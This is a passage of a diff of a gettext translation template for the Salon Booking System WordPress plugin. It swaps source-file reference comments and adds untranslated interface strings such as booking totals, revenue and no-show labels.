build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:200, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:200, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:200, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:200, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:200\n-msgid \"revenue\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:141\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:141\n+msgid \"Total Bookings\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:201, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:201, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:201, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:201, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:201, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:201\n-msgid \"hrs\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_customer.php:317\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:317\n+msgid \"Total Bookings:\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:202, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:202, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:202, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:202, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:202, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:202\n-msgid \"mns\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:313\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:313\n+msgid \"Total No-Shows\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:203, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:203, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:203, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:203, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:203, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:203\n-msgid \"available left\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_customer.php:305\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:305\n+msgid \"Total No-Shows:\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FCancelBooking.php:44, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCancelBooking.php:44, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCancelBooking.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCancelBooking.php:30, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCancelBooking.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCancelBooking.php:44\n-msgid \"Cancellation disabled\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:123\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:23\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:29\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:123\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:23\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:29\n+msgid \"TOTAL PRICE\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FCancelBooking.php:42, src\u002FSLN\u002FAction\u002FAjax\u002FSetBookingRating.php:41, src\u002FSLN\u002FAction\u002FAjax\u002FSetBookingRating.php:37, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCancelBooking.php:42, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSetBookingRating.php:41, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSetBookingRating.php:37, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCancelBooking.php:42, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSetBookingRating.php:41, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSetBookingRating.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCancelBooking.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSetBookingRating.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSetBookingRating.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCancelBooking.php:42, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSetBookingRating.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSetBookingRating.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCancelBooking.php:42, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSetBookingRating.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSetBookingRating.php:37\n-msgid \"You don't have access\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:35\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:35\n+msgid \"Total Reservations\"\n msgstr \"\"\n \n-#. translators: %s will be replaced by the count multiple attendants\n-#: src\u002FSLN\u002FAction\u002FAjax\u002FCheckAttendants.php:108, src\u002FSLN\u002FAction\u002FAjax\u002FCheckAttendants.php:99, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckAttendants.php:108, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckAttendants.php:99, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckAttendants.php:108, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckAttendants.php:99, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckAttendants.php:108, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckAttendants.php:99, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckAttendants.php:108, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckAttendants.php:99, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckAttendants.php:108, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckAttendants.php:99\n-msgid \"%s more assistant\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002Fweekly_report\u002F_summary_total.php:9\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Fweekly_report\u002F_summary_total.php:9\n+msgid \"TOTAL RESERVATIONS \u002F REVENUES\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FCheckDate.php:138, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDate.php:138, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDate.php:138, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDate.php:138, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDate.php:138, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDate.php:138\n-msgid \"There are no time slots available for this period - Please select a  different hour\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:122\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:122\n+msgid \"Total Revenue\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FCheckDate.php:131, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDate.php:131, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDate.php:131, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDate.php:131, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDate.php:131, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDate.php:131\n-msgid \"There are no time slots available today - Please select a different day\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_booking_services.php:75\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:75\n+msgid \"Total services duration exceeded, change or remove one!\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FCheckDate.php:126, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDate.php:126, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDate.php:126, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDate.php:126, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDate.php:126, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDate.php:126\n-msgid \"We are unavailable at:\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:53\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:160\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:53\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:160\n+msgid \"Total Services:\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FCheckDate.php:123, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDate.php:123, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDate.php:123, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDate.php:123, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDate.php:123, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDate.php:123\n-msgid \"The date is too far, the maximum allowed is:\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:526\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:526\n+msgid \"Total Spent\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FCheckDate.php:120, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDate.php:120, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDate.php:120, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDate.php:120, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDate.php:120, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDate.php:120\n-msgid \"The date is too near, the minimum allowed is:\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:637\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:637\n+msgid \"Total staff: %d | Online: %d\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FCheckDateAlt.php:85, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDateAlt.php:85, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDateAlt.php:85, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDateAlt.php:85, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDateAlt.php:85, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDateAlt.php:85\n-msgid \"The attendant is unavailable on this day\"\n+#. %d: name of the total usages number\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_history.php:16\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_history.php:16\n+msgid \"Total usage ( %d )\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FCheckDateAlt.php:119, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDateAlt.php:119, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDateAlt.php:119, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDateAlt.php:119, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDateAlt.php:119, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDateAlt.php:119\n-msgid \"There are no free time slots on this day\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPlugin.php:268\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:268\n+msgid \"Total:\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FCheckDateAlt.php:212, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDateAlt.php:212, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDateAlt.php:212, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDateAlt.php:192, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDateAlt.php:192, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDateAlt.php:212\n-msgid \"Time is free for services and attendants.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:137\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:642\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:137\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:642\n+msgid \"Totals\"\n msgstr \"\"\n \n-#. translators: %s will be replaced by the service name\n-#: src\u002FSLN\u002FAction\u002FAjax\u002FCheckDateAlt.php:516, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDateAlt.php:516, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDateAlt.php:516, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDateAlt.php:496, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDateAlt.php:496, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDateAlt.php:516\n-msgid \"No attendants available for %s at this time\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:303\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:303\n+msgid \"Track and analyze customer no-show patterns\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FCheckServices.php:270, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckServices.php:270, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckServices.php:270, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckServices.php:270, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckServices.php:270, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckServices.php:270\n-msgid \"This service is exclusive. Please remove other services.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:135\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:136\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:136\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:418\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:135\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:136\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:136\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: 